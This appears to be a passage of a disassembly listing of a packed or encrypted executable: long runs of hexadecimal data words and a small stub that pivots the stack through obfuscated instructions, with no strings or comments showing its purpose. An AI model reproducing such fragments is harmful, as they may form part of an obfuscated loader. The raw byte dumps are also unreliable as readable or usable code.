		dd 0D585AF29h, 27153CA8h, 905193F9h, 0D0A9FBD1h, 5CA02BF5h
		dd 0FDCFE463h, 5C87486Fh, 5134168Ch, 93FAFEB2h,	70E9B886h
		dd 1F000000h, 0DD1CDCB6h, 5C9FA678h, 8B4A6163h,	1E0334F8h
		dd 0A1CA3948h, 0EE7C4EFEh, 7D4513C9h, 19337283h
		dd 8EA7334Ch, 5C9F3B7Dh, 6654484Bh, 3E225E85h, 35EDB6C7h
		dd 25h,	1CDCB6C3h, 9FA678DDh, 9FB5635Ch, 9C8FBDCEh, 0D60423B7h
		dd 3F4E7C8Ah, 5EBA75Ah,	0FCA0B6AAh, 13h, 53DCAF0Ah, 0DCA9FD39h
		dd 0F39D0C2Fh, 5D74C1h,	0C4800000h, 329E895h, 94BD2952h
		dd 81334A6h, 0D6635CA0h, 0A37DD899h, 6C635C9Fh,	6B967547h
		dd 589BE4B5h, 1CDCB62Ch, 7B93AEDDh, 5EE93792h, 0D26635Dh
		dd 6CAA9FFEh, 0C818C75Eh, 5518CB2Ch, 635D90C1h,	0E417143Ch
		dd 0A6D50DD5h, 0CC301773h, 7152775h, 0FFFFFF11h, 2A4DDF1h
		dd 0C4290000h, 78280295h, 9DB89105h, 635CA083h,	0B6D87F8Ch
		dd 6E4681FFh, 85AF6E45h, 0B99ABD4h, 4A89F2A3h, 78B97712h
		dd 96604A39h, 0B8002357h, 93B4612h, 0F15D532Ah,	50156668h
		dd 463B6A91h, 0D52FB5h,	9E0A2132h, 93163B9h, 0DC07626Ah
		dd 2A45C4A4h, 1A4C6607h, 0E0D2FB6Fh, 54F2h, 0D5703100h
		dd 6A09394Bh, 2FDDEFC4h, 0DC1DD3B6h, 0F0A58A79h, 0D1103B68h
		dd 13D2AFFBh, 8AA68B6h,	0BE8CA76Ah, 0A9F10B2Ch,	0F5A16A08h
		dd 0E7B41C88h, 0A3C40E9Ah, 0BDD80340h, 7A2E346h, 6A08A9F9h
		dd 0B5D8E516h, 5E9471EBh, 87694775h, 7E0729EBh,	0BDh, 0E895C488h
		dd 0F984D47Ch, 6A94C56Dh, 0A968433Eh, 9FB34DE8h, 775C635Ch
		dd 6DD09A84h, 0D6E460FBh, 41BDEC44h, 0D4FD6912h, 4C6EB015h
		dd 0B299635Dh, 66FF5A99h, 0A4635D4Fh, 134B88F5h, 3879B876h
		dd 5142DC79h, 0E6CD635Dh, 0C974F7D4h, 0BB1168EEh, 0A23C45EEh
		dd 38F8A377h, 94E9B913h, 0C3022900h, 56C2BFE9h,	0A08A4D7Fh
		dd 644E8DF0h, 0A1834934h, 7E789B7Eh, 47859E8h, 0A1F60000h
		dd 5F0923E0h, 9ECBE122h, 56042EEDh, 92C2E82Bh, 4A292CEFh
		dd 69AAD787h, 0A86B1043h, 68ABD682h, 0AD6E1342h, 0A17FDA19h
		dd 6E6A0E02h, 0EEAFE397h, 5C9FB54Bh, 4B795263h,	9CAB7E7h
		dd 0CA097223h, 4BEEAFBEh, 635C9FB5h, 0E74B7952h, 790454B6h
		dd 33AD1CEDh, 4BAE5466h, 77DF4B60h, 0FEA66526h,	0D594559Bh
		dd 0ECDEABFFh, 0F10ED4CFh, 89DB7168h, 1661BF1Ah, 85AE6A09h
		dd 54485AEh, 96027F2Fh,	16849ABFh, 0A8836A09h, 0CB2F089Ah
		dd 0CC6A0915h, 93F63AA9h, 8A399C5Dh, 0BB6F9D1Ah, 6E0B5390h
		dd 46E37221h, 70B520B8h, 0C3577C57h, 0A500C1EAh, 7643D8B1h
		dd 1238F9D2h, 3A6FC544h, 96BC7B49h, 0C48546C3h,	0FA97E4B7h
		dd 0C423D0A9h, 2A093BD8h, 77663CD6h, 0E19ACBE1h, 0A2F65C75h
		dd 685A73E7h, 267490C4h, 0C2B1705Bh, 85B74570h,	61309A10h
		dd 0AAEB2E1Ch, 5EADD080h, 5FD96FFAh, 0E75260FFh, 41h, 9FB14B13h
		dd 0A08A635Ch, 235E0AF6h, 87B59EB7h, 36F53F59h,	0A83C491Ch
		dd 5CA0718Fh, 0BD244363h, 0F2315207h, 65F18CD8h, 0A1DC8CA6h
		dd 0BECB9D35h, 1A28032Ah, 5C9FE239h, 1DC42163h,	15D6B3E7h
		dd 0F590C461h, 0E09DC961h, 0F28FDC74h, 0ED9CCE66h, 2DD4B379h
		dd 0FF29776h, 3BF885D1h, 5C8DB89Eh, 5782863h, 0BB93B891h
		dd 0DD6C3B8h, 0FFFF90AFh, 85AF59FFh, 163FABD4h,	7CD98824h
		dd 3F75C842h, 7ABB90A9h, 0F1A80609h, 0E2487377h, 6FFDCFB2h
		dd 36F596C7h, 8A2F0B6Eh, 635CDF74h, 5293B893h, 0F0D8A8F7h
		dd 0DA4E6568h, 25663319h, 0FDE63417h, 8AEF6A08h, 8BD8F257h
		dd 0F0642577h, 0EEC0F2D9h, 72A790Ah, 2FF9h, 0D3B60F00h
		dd 8A79DC1Dh, 0EF68F0A5h, 0A9F50BAEh, 39126A08h, 0A733180Bh
		dd 69184E64h, 0A9A2785Bh, 0C6A36A08h, 0C981671Bh, 0C970072Ah
		dd 86000000h, 29E895C4h, 0BF2B5003h, 0A1AF6596h, 0A48F1BD8h
		dd 0FCAC0496h, 0ECBD1581h, 0FEAF0793h, 5AEB4E8Dh, 90635CEDh
		dd 557FBCC1h, 35EF7B04h, 51F14A50h, 0DCE399C6h,	5CDEA779h
		dd 604B6063h, 0B8CB8A4Bh, 0E44CD28Bh, 6251781h,	68F187F3h
		dd 0BBFA3912h, 45C572C8h, 8DBFAF0Ch, 0FA203653h, 0CCCB8D36h
		dd 0FB438774h, 0D6A87D20h, 0C8993CFDh, 0B96F9AE1h, 29795392h
		dd 0EDBD9754h, 7E765A90h, 0B92F736Fh, 1F508h, 65267100h
		dd 0AFDA8CA6h, 7613466Ch, 0BCCD9FB5h, 7805557Fh, 8DDBEBBh
		dd 0CCE62558h, 0B21E29Fh, 0CBE1225Fh, 9622E19Ah, 52EF055h
		dd 20D96A0Eh, 4BEEAF54h, 635C9FB5h, 0E74B7952h,	2309CAB7h
		dd 0BECA0972h, 0B7D085AFh, 713E5B85h, 0E4CD5922h, 38AB0ECFh
		dd 9568F0A6h, 0EF0D2ABEh, 0D66A08A9h, 101050B3h, 0D2072AC9h
		dd 1F126CA1h, 0DB8B3BE5h, 0ADBF8DA6h, 0BFh, 6995C45Bh
		dd 0FE6A413Ah, 0ABFA0656h, 406B42D6h, 0A372F3D4h, 0B0C3635Ch
		dd 0E001D446h, 8D2113CAh, 0E7322DCh, 9DCCE625h,	0CBAE74E0h
		dd 0BFEEC405h, 9237F0C2h, 68F0BB87h, 68B61352h,	0A76A08BBh
		dd 5EADBE8Ch, 97D661E1h, 0CC0F24C4h, 0F233F194h, 9A187157h
		dd 34F5DE6Fh, 3F4ED075h, 92B970B7h, 1D4D67A0h, 0D989A360h
		dd 66786EA4h, 0D741736Eh, 10966h, 51326500h, 93EEB892h
		dd 522F7A50h, 90E9BB91h, 54297953h, 3CF19297h, 0F8D2116Ch
		dd 3F15D6ABh, 0F7DD1E6Bh, 9226E5A6h, 62AF451h, 1CE56A0Eh
		dd 0E994C468h, 0ED540228h, 0A1DCD49Bh, 0CB614A5Bh, 5D74E099h
		dd 0D180AA6Fh, 0C41B6FACh, 413A6995h, 43D7FCD5h, 1040BAEBh
		dd 0FBD0F96Dh, 0BB44493Ah, 0CA447B7h, 5DAE05BDh, 7446C2B5h
		dd 468CE9B1h, 0DE2E2287h, 0AE5D68EBh, 0C944F7AFh, 8C9E277h
		dd 4B12EC49h, 0D6FD6A0Eh, 8FDE76E4h, 4F642573h,	2B8ECF8Eh
		dd 6A0E4AD5h, 0E23C1932h, 2D6A0E4Ah, 0DBF13406h, 1A30F18Ah
		dd 8DA43049h, 0AFEE2DBFh, 0E4AF40Ah, 922F56Ah, 99E72665h
		dd 0B695A78Ch, 88336141h, 0D50BF611h, 9D621184h, 6655AA2Fh
		dd 0D9819FBAh, 0A58EA868h, 36674D8Eh, 0EEBE9455h, 1C2E0793h
		dd 1574268Eh, 0B52C4B81h, 19683E14h, 0B5D6872Bh, 700D5C76h
		dd 3580C2B1h, 0F48707E7h, 3E554C6h, 11000000h, 93C48076h
		dd 9BCA62F6h, 8EDA72E6h, 9CCF67F3h, 83D37BEFh, 92C26AFEh
		dd 81D37BEFh, 91C46CF8h, 9EC860F4h, 68A277E3h, 30CBh, 89243489h
		dd 4C681E6h, 83000000h,	348704EEh, 0D0685C24h, 89000058h
		dd 89522414h, 4C281E2h,	81000000h, 4EAh, 24148700h, 241C895Ch
		dd 3936855h, 815D479Bh,	1225D8CDh, 4FCD8109h, 57319424h
		dd 14454DBFh, 5FFD2101h, 5CF6F581h, 0EA8907A5h,	1736685Dh
		dd 24890000h, 24048124h, 4, 0D689565Bh,	8B087389h, 0C4832434h
		dd 241C8B04h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 5A2434FFh
		dd 4C481h, 72E90000h, 0E6FFFBDCh, 67CFB8FFh, 0C50306B1h
		dd 4187E0FFh, 0A9C737CEh, 7A546224h, 16A376D2h,	9BD905A3h
		dd 93B74409h, 8D8D6009h, 6B16963h, 0F78B6660h, 0D5E43ABBh
		dd 8D896158h, 6AC2F0Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0BEC35040h, 3AAA6B09h, 39A0CF9Eh, 3555B589h
		dd 85C706ACh, 6AC1E05h,	5BF8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0E3C35242h,	74965C41h, 2B9F8757h
		dd 0AC22059Dh, 0F185C706h, 6AC27h, 0E9000000h, 9, 2E23E971h
		dd 0A447B589h, 0DB5FFE0h, 8906AC27h, 0AC295D8Dh, 0F995FF06h
		dd 6A06AC0Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 248EC355h, 4D25C7CEh, 216EA3F3h
		dd 998D8B60h, 0BE06AC2Dh, 13379FB2h, 0D8B70F61h
		dd 95FF006Ah, 6AC2145h,	5DEBC08Bh, 0D8FB03Fh, 58F1A3ACh
		dd 737E5B7Fh, 0B5D6F54h, 912AC925h, 0EA6BC9C4h,	0FB840491h
		dd 95FE47CFh, 2DEC9E19h, 0A384EC47h, 0A23BBF49h, 5F91671Dh
		dd 0A0030769h, 632AB32Dh, 2EF322BEh, 0D1910119h, 0EE3D7FEAh
		dd 0CFF61C49h, 4299AF88h, 51F4B7A8h, 98F1E345h,	0E4F6A16h
		dd 79EDA472h, 6E86Ch, 0F6370000h, 3A7CC040h, 0DE957h, 80BF0000h
		dd 9CDBBEDAh, 4062DC1Bh, 5EAEBA7Ch, 81F4B659h, 62A7C1h
		dd 1DB50900h, 6806AC20h, 186Eh,	86DB589h, 8B5F06ACh, 0AC2411B5h
		dd 0E931FF06h, 10h, 905E7ACDh, 92983D99h, 8EA4E512h, 0A5B5B76Fh
		dd 1DB5895Bh, 8106AC1Eh, 0F176E8EBh, 0BBE665Ch,	2AF38166h
		dd 57630BDBh, 2E61858Bh, 815806ACh, 0D8BDCAEBh,	12E916h
		dd 0CC470000h, 0C2852790h, 2B42BAAh, 0EB4A0F0Eh, 990A3D43h
		dd 18A0F53h, 0F5000000h, 958B018Fh, 6AC32E1h, 8903E983h
		dd 0AC29A585h, 29604906h, 0AC2F1185h, 0D1816606h, 816100DAh
		dd 1EFh, 1C850F00h, 9000000h, 0AC2E4985h, 27E906h, 3A480000h
		dd 18F4A034h, 0DF948A91h, 5F0A5340h, 806D22E8h,	56E99EEEh
		dd 4BFFFFFFh, 72887CCEh, 0D36A626Eh, 0D6378125h, 0B0E955h
		dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h,	0AC128185h
		dd 36840F06h, 3B000000h, 0AC347985h, 2A840F06h,	3B000000h
		dd 0AC307D85h, 1E840F06h, 3B000000h, 0AC12D985h, 12840F06h
		dd 83000000h, 0AC1925BDh, 840F0106h, 5,	5FE9h, 3D08B00h
		dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h
		dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h
		dd 10h,	820FCE3Bh, 17h,	830FCF3Bh, 0Fh,	4A04C383h, 0FFDC850Fh
		dd 0DE9FFFFh, 8D000000h, 0AC4E339Dh, 5B806h, 0E3FF0000h
		dd 0D00BC361h, 1BB59D8Dh, 39B806ACh, 89000000h,	0AC10D985h
		dd 0E806h, 5580000h, 0Dh, 39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 6C678D8Dh, 6A06B1h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8995CBC3h, 0AC2F0D8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0BBD8801Bh
		dd 1E0585C7h, 5DC806ACh, 0D4800000h, 0F185C7EAh, 6AC27h
		dd 8B000000h, 0AC0895B5h, 0A1B5FF06h, 6A06AC2Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F505C356h, 0BF995FFh, 4EB206ACh, 95FF006Ah,	6AC2145h
		dd 28EBC08Bh, 0BA78CACCh, 0A5C05FB2h, 0B5E78AC2h, 0F3B24655h
		dd 0BB20E33Eh, 6FCC5412h, 0EE074E65h, 0FFD89853h, 3B6FC2E8h
		dd 6B54CF72h, 1BE9h, 39BF9F00h,	39h, 5 dup(0)
		dd 5F6E9h, 0D00CE700h, 904CA111h, 0D30BE151h, 924AA212h
		dd 0D00CE353h, 0D6956C11h, 8E3EFF37h, 0D161A05Ch, 0F040813Dh
		dd 571EDF17h, 0C95FB506h, 8BACE8E1h, 6DAD5E07h,	2D87477Fh
		dd 8760D003h, 0AC258F4Fh, 0F331D86Eh, 499E63C8h, 0AA6B456Ah
		dd 0C229F11Ah, 52E4240Ah, 4AE7DB9h, 197F0E69h, 0F54695A1h
		dd 0EF93059Fh, 8B49C0ECh, 0D414D03Dh, 16AAC6E6h, 5A0F447h
		dd 0C1EDEF93h, 578F7848h, 12CA2696h, 50AB6BC1h,	14D598F9h
		dd 0C808C426h, 7928EB62h, 28E824C9h, 0AEE25182h, 0F3EF92D0h
		dd 8A6656DFh, 0DC318152h, 3C12CA3Ch, 27C177B5h,	72992FEFh
		dd 20CC7ABAh, 0D00C24E4h, 0FCDEFDB4h, 3E862C90h, 0A3C94412h
		dd 0CC201099h, 8861D110h, 7DCE9F4Ch, 0EF930127h, 13D15874h
		dd 93006FA6h, 0B97599EFh, 0E71FCF79h, 437B9127h, 1E5733EFh
		dd 813263B0h, 0EF93004Bh, 8F47A090h, 0E3CBE54Fh, 4C7CAB2Ah
		dd 0F7D55C11h, 0EEFB7F9Bh, 1FAFC0BBh, 5EF434F0h, 9258D7h
		dd 0BFD40000h, 0CF39E10Fh, 0AEF93917h, 9335C71Dh, 163814EFh
		dd 863EAF9Fh, 359BF346h, 27C5EF93h, 356BA112h, 9CB0EF93h
		dd 0D0DE72B2h, 0F1B99AC6h, 2CE80735h, 3F2B89ECh, 0CB7BA806h
		dd 4260E925h, 0CB229226h, 97139A13h, 9DC0BBCEh,	1, 75B15E11h
		dd 3EF416A6h, 10DC08D6h, 0C74E6091h, 0A65EB305h, 0E038D066h
		dd 0B812D20Ah, 44645696h, 5C987528h, 6BC2D9Dh, 4E133B49h
		dd 9B994864h, 5557592Fh, 3686557Bh, 2EE600D8h, 0AA6A44EEh
		dd 464A8900h, 26DE0FBFh, 0B4709FAFh, 0F12DC274h, 9AF65431h
		dd 5BFD8C26h, 0AD7D354Bh, 0ED47873Fh, 937A4AC3h, 0C12A9A5Bh
		dd 9D73C505h, 0E802B261h, 0D167A52Ch, 8A3CFC38h, 0CF65A561h
		dd 16D60EFDh, 0C86C1838h, 932A257Bh, 68466AEFh,	6C88E4C0h
		dd 0C0BB45F8h, 8A10h, 0AF5E9C00h, 0EB01B777h, 0E1C1F333h
		dd 0FD39D085h, 0A15D8C3Ch, 65863661h, 0F81020A9h, 7D0FC3Ch
		dd 0D597C3ADh, 0BF0C56B1h, 0EF924F69h, 86B49AB6h, 725AC68h
		dd 3586D76Bh, 0EF924FDFh, 9328002Ch, 357A15C3h,	9A0E870Eh
		dd 0AEC0BB8Eh, 76h, 61F5D57Fh, 55FE0983h, 8D4D8967h, 5E22AE27h
		dd 1B777AFh, 3BB2DEDh, 17016FC3h, 0B119358Bh, 5971B19Fh
		dd 55B4E985h, 0A3095899h, 4DBF46FDh, 0FB210981h, 0CC68BD1Fh
		dd 0BF61ED64h, 0E525E10Fh, 19F6C64Fh, 0FA4A1DDDh, 0BF15D511h
		dd 35CC0536h, 7BA8EF93h, 66EF27CBh, 48CC2844h, 1EC0BB4Fh
		dd 41813DAEh, 0BED62EBh, 3C000000h, 53B8608Ch, 0DF75B59Bh
		dd 0B05EDA56h, 0E902B474h, 684AED2Dh, 7BB359FCh, 0D841EBBAh
		dd 0C92AA2B9h, 0DAEC2093h, 1D31EF92h, 9B5FBA33h, 0EFC1FDEDh
		dd 0E7BE8F3Ch, 3787E52Eh, 74DE1ED6h, 0B7C2E8FDh, 0D2DBCD08h
		dd 73B36B87h, 19D9F7D9h, 0D410FE4Eh, 737BE14h, 5FEF2EE6h
		dd 3B676AEh, 0F63ED3CBh, 0D818D435h, 8A4A826Eh,	0A9E884A4h
		dd 0E8ADD905h, 0FF37DBFFh, 0AA62893Fh, 0C0EEC06Ah, 9BF14213h
		dd 0E0F63ED3h, 0D34E8231h, 0BF93F63Eh, 6BDB1891h, 33994A82h
		dd 9B4D7D05h, 3AD24B63h, 0BEE92BA2h, 0E424E00Eh, 16F7C74Eh
		dd 0D97B1EDEh, 0C7FFE8ADh, 838B0F06h, 348139EFh, 50000001h
		dd 0FCF07E0h, 8BA02CA5h, 46F6254Fh, 4AE6EA6h, 6EF5C8Dh
		dd 8BE52F22h, 803067A7h, 1525AC68h, 49F938F4h, 12A464A0h
		dd 750A3BF9h, 2ED004B7h, 311DF640h, 2B6B5B19h, 0BB7CD605h
		dd 79E4FD8Eh, 0F12DC2F0h, 7DDFBA78h, 0F07AD11h,	0E49E55A4h
		dd 3B3CCAE2h, 0DA21960Eh, 528A6353h, 0FE1E9A93h, 4E1239E8h
		dd 9E000000h, 0F5264C8Bh, 93363246h, 0D3133F6Fh, 3266D584h
		dd 7F6F9336h, 0B3E9DA53h, 0DD6F9335h, 8234F430h, 5C72B26Ah
		dd 0FB51107Ch, 5A0BAFDBh, 9335B3E9h, 5DD4F86Fh,	0C6157FB8h
		dd 93363F75h, 0A1604CEFh, 6FA740F0h, 468C05AFh,	7Fh, 254F8B4Ch
		dd 69A546F6h, 35F11FA9h, 1243921Bh, 51914DA2h, 644172FBh
		dd 0E9E52F28h, 5AB305C5h, 823263A2h, 0F3FB66Eh,	0B1E626DEh
		dd 88FAFE1Bh, 0AF2601A6h, 3FA3439Ch, 83EF33F6h,	30F12DDEh
		dd 28FB9155h, 0CE099A9Bh, 0CB0B27EBh, 55568C7Dh, 690457BEh
		dd 0CD6AAA84h, 0CF0B83EFh, 8D2776A5h, 0C18AEEC0h, 37048D44h
		dd 0F27EC436h, 479D2E7Fh, 9403A1CCh, 82431B8h, 45816BDBh
		dd 8B030FCCh, 17CF394Fh, 0C909C525h, 2D9E4D63h,	0E5219A4Ch
		dd 8B3DFDD1h, 0DB6BAA62h, 8F3AFA32h, 0B4BA65ECh, 3BFB33D4h
		dd 7E18597h, 7B49AE3Dh,	0F0955591h, 0C97F3652h,	2FD87DE9h
		dd 478E24F7h, 0F45F632h, 5C35CD72h, 6C055870h, 9ECF0C85h
		dd 0C606BE2Eh, 71AD5E6Ch, 0E71FC8F8h, 0BB799127h, 20DBFCD1h
		dd 9E5E70D3h, 0CA0AC228h, 92528A7Ch, 783955F7h,	480D795Bh
		dd 16A6679Fh, 0AEF939F5h, 0E437EF1Eh, 0CDD30157h, 0EB624E35h
		dd 321h, 72002B00h, 0BB7BB35Eh,	0E020DC0Dh, 0C202BA56h
		dd 9A5A9274h, 0C101BD2Ch, 9C5C9877h, 0CA0AC22Ah, 96568E7Ch
		dd 0D313CB20h, 0E08950DDh, 405h, 4B95100h, 29000000h, 48759C8h
		dd 89505C24h, 405E0h, 42D0000h,	87000000h, 895C2404h, 89502434h
		dd 405E0h, 0E8830000h, 24048704h, 242C895Ch, 0B9BE5655h
		dd 8906B16Ch, 0EE895EF5h, 0FFD685Dh, 24890000h,	24048124h
		dd 4, 0BA52565Dh, 2076565h, 4245431h, 8458F5Ah,	65087581h
		dd 0FF020765h, 815D2434h, 4C4h,	24348B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		db 86h,	9, 3
		dd 0BC13E182h, 0B88F1667h, 6B17215h, 0E0FFC503h, 44835A5Ch
		dd 437C29E4h, 381FDBBEh, 1C3A0EBDh, 6E8h, 0E0462300h, 0BF9BB23Eh
		dd 324003B3h, 81D2B05Eh, 709CC6h, 0C88B6600h, 1C0BBBh
		dd 66168B00h, 8146A0BFh, 1AE6D8F2h, 0EA81F90Dh,	26CD4584h
		dd 9095C881h, 0EA813F59h, 54A84A0Fh, 0AE9h, 32F6A900h
		dd 6F070595h, 52ABF236h, 8F51ED80h, 81E78A06h, 76EF12EEh
		dd 83E98045h, 0EF0EC681h, 0B8664576h, 0EB819A05h, 1, 0FFAB850Fh
		dd 8B66FFFFh, 162E9FBh,	6E90000h, 9C000000h, 8C7FF3C9h
		dd 6E901h, 6F8D0000h, 0C9C20AFCh, 73FCB58Dh, 830F06B1h
		dd 1, 6E9F8h, 838C0000h, 1BA6E3C4h, 4150858Dh, 576006AFh
		dd 68F6BF5Ah, 0FF610834h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0E4351E5Eh
		dd 0C810FF1h, 0F000000h, 683h, 8B0F00h,	0C3000000h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 31C35040h, 39639BABh
		dd 3DF8DB1h, 7E9h, 3E5C6900h, 0EF8B8016h, 0FE9h, 7BFAAB00h
		dd 0C10EDCE7h, 24ABDCF2h, 12CFA0D5h, 60D98C66h,	0CE8h
		dd 969EC300h, 0E68FC376h, 9F5B0E96h, 0AFB96628h, 0D88B5E04h
		dd 4C1F661h, 57840Fh, 870F0000h, 19h, 13850Fh, 0EE90000h
		dd 6A000000h, 0AE9BC8h,	0C60A68E0h, 0AD716068h,	8BFB8B6Ch
		dd 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h
		dd 1013F20h, 74C00B00h,	0C708D18h, 0CB8BFA8Bh, 490A75A6h
		dd 1B8FA75h, 0EB000000h, 0EB008B09h, 0B8E4h, 0FCF0000h
		dd 1585h, 10E900h, 4190000h, 82363FCCh,	5B3E1B56h, 0BDE5252Fh
		dd 0F605A1Eh, 389h, 0CFBF0F00h,	61F8B70Fh, 745985C7h, 13F06B1h
		dd 8D8D0001h, 6B175BCh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0AEC35646h, 6E7F85C2h, 0D8D8945h, 6A06AC2Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 217FC356h, 0FEFB4B3h, 384h, 0F28B6600h, 1E0585C7h
		dd 61D406ACh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0CB6B38C3h, 678D4911h, 8B66F841h
		dd 0F185C7D1h, 6AC27h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 3B95C350h
		dd 660F3700h, 0D8A9C281h, 33E5B5FFh, 6A06ACh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 45552AC3h
		dd 60B6DCAFh, 0C5BD09FFh, 0FF06AC0Ah, 0AC0BF995h, 13E906h
		dd 6F790000h, 19C2BAA8h, 0E6FCEB6Dh, 4E2E8EB5h,	508D28BAh
		dd 0FF006A76h, 0AC214595h, 0EBC08B06h, 0CD3BC02Fh, 0DF2D146Ah
		dd 45BF53E3h, 2B0A5781h, 0B5FE6754h, 0FCCD0D16h, 5ADA54E0h
		dd 1453F31h, 439BCB05h,	143D7D6Dh, 9645C2EEh, 5D2238E3h
		dd 60EBh, 17h dup(0)
		dd 0E5E90000h, 0E900000Ah, 0AD9h, 0B17DE068h, 7BAE906h
		dd 5768FFFBh, 0E906B17Fh, 0FFFB07B0h, 0B17FB968h, 7A6E906h
		dd 0C924FFFBh, 8F7CCC0Dh, 0C8269657h, 8D7DCD0Ch, 0C9209051h
		dd 48B1CC0Dh, 0D918D43Bh, 86477F69h, 0E322DA36h, 0C302BA53h
		dd 3468DB8Ah, 79E8E1C0h, 0AC5ED25Eh, 6CDEB070h,	3383427Ah
		dd 54E222DAh, 0EBBC7CB8h, 0F079B55Bh, 2EEE26C0h, 66B57198h
		dd 0C3BC85CCh, 149DB1E1h, 4B8960D6h, 0B9C9EB7Bh, 53BB894Ah
		dd 0DFF15B9Bh, 0EF8481Fh, 35BC16D6h, 0E929E505h, 27DF0EBEh
		dd 0B4709EAEh, 0F12DC274h, 3AD66631h, 61E84282h, 0F92C4084h
		dd 8C48A5E7h, 4A3546A4h, 76446AA2h, 359F5F97h, 177BC81Bh
		dd 64E520B9h, 60CA9B48h, 803FD079h, 6959D0E3h, 0EC894884h
		dd 3993402Ah, 2C0B3A3Dh, 0E435BC53h, 29E505B5h,	0F939F51Bh
		dd 0B7E9DA53h, 4F64353h, 0AD5EE828h, 0BFBCB071h, 32D66815h
		dd 0BCC07472h, 0C0143C14h, 0BEE8C095h, 0FC53C8A1h, 41AA9A13h
		dd 0A6AC0B85h, 0F122488Bh, 35BD13A0h, 2E02EF93h, 0A1AD2BA7h
		dd 0BB5373E7h, 3B99BDh,	8B150000h, 0BFAC2248h, 0D80CBFEEh
		dd 1AEF9335h, 0F4625328h, 7D57401Bh, 0EB833CC5h, 48C1EFE7h
		dd 92BF257Bh, 0C8466AEFh, 0B15EB3BFh, 0F416A675h, 0DB52F838h
		dd 0A4B9B557h, 30h, 22488BAEh, 0D80CBFACh, 0A4EF9335h
		dd 0B3BF048Ah, 25E10FBFh, 0B76F9CACh, 0DF0FBF39h, 0B751E727h
		dd 3B15BF7Fh, 923869B2h, 0FDE899AAh, 88048DC7h,	0F6254F8Bh
		dd 2F560445h, 0B86349E5h, 0D86E8E1Bh, 59EC2C02h, 0F63FCDFFh
		dd 5FBBD7F3h, 39E827DBh, 0FAD3258Fh, 10B292D5h,	123AFEBAh
		dd 1099CEDDh, 19A9Fh, 4D8B1300h, 0DB1BD33Bh, 3F8C5F71h
		dd 0EF9335B1h, 64D2123Eh, 868A4B83h, 0FF71AD5Eh, 488BA6ACh
		dd 0E60ACE3Eh, 0A02E002Eh, 27DF0FBFh, 7C44DE7h,	5373E70Bh
		dd 77C7BDBBh, 349E5E96h, 3832BDh, 0BFBE0000h, 36075DEEh
		dd 7854EF93h, 0BDD714F1h, 0F72FDE6Eh, 0CBFF27Eh, 0EF9335D8h
		dd 0BF870925h, 0DD0FBFB3h, 7398A821h, 359FF546h, 0C0ECEF93h
		dd 0B9B560EEh, 4DA4h, 488BAE00h, 0CBFAC22h, 0EF9335D8h
		dd 3BB51E1h, 599575C3h,	8F155F77h, 0AAE41A67h, 0D764B723h
		dd 0EF92C281h, 0BCB03EBh, 0B49AB6A1h, 833BD767h, 893AE943h
		dd 0EF92C253h, 0B13DB498h, 0FBFB3BFh, 16CE3DDDh, 0DB52F838h
		dd 40CE06EBh, 4D8BB9B5h, 15A5F427h, 53F939F5h, 357FE9DAh
		dd 200CEF93h, 7FB556E0h, 0B728F9AEh, 0CF07EB0Bh, 0A58BA50Fh
		dd 0AD5E6864h, 0EEBFFF71h, 9336075Dh, 0F17854EFh, 488B3933h
		dd 15BFAC22h, 5AE92A88h, 0EF927A06h, 4F674Bh, 629A4C81h
		dd 0A06C54Ch, 0BB5373E7h, 4299BDh, 0F8480000h, 0DE52DB13h
		dd 0D13E488Bh, 36055BE8h, 664AEF93h, 0BFE86648h, 38206A15h
		dd 972498C9h, 0EF930D41h, 58CA28Eh, 0E3167D4h, 527EEF93h
		dd 5EB3BFDCh, 0B5FB75B1h, 0DD0FBFB9h, 2D62A821h, 68000000h
		dd 0CE3E488Bh, 5BEB3816h, 7CF079B5h, 21DD0FBFh,	96CA79A8h
		dd 5AEF9335h, 0B3BFFA74h, 0A675B15Eh, 361044F7h, 715DEF93h
		dd 0B9B574F8h, 0DDA4h, 0F959F300h, 37278FACh, 0BFAE22ABh
		dd 0E626DE0Fh, 0E620C54Ch, 0FDEF5F8Ch, 22AB01C1h, 0FB12A2F3h
		dd 0EB794AC3h, 70EF9335h, 6DDE8F5Ch, 0EF933637h, 759AA884h
		dd 5AD379B9h, 1BD2E98h,	0C82191C0h, 0EF66CC0Ch,	0C515BF63h
		dd 22C4D308h, 7C6D5DD4h, 0A6ACCE40h, 25E10FBFh,	23C64FE5h
		dd 0AD048AE0h, 3215BFA1h, 26BD7024h, 69FD74FDh,	63BDBBE5h
		dd 3Bh,	0FC50E3B2h, 41F2927Fh, 8B68E46Dh, 0BFAC2248h, 9335D80Ch
		dd 0DD4BE1EFh, 5F37EF3Ah, 89498567h, 91840D23h,	0B3BF33BDh
		dd 0FB75B15Eh, 37A4B9B5h, 0F3000000h, 0B272AA43h, 8B1D9118h
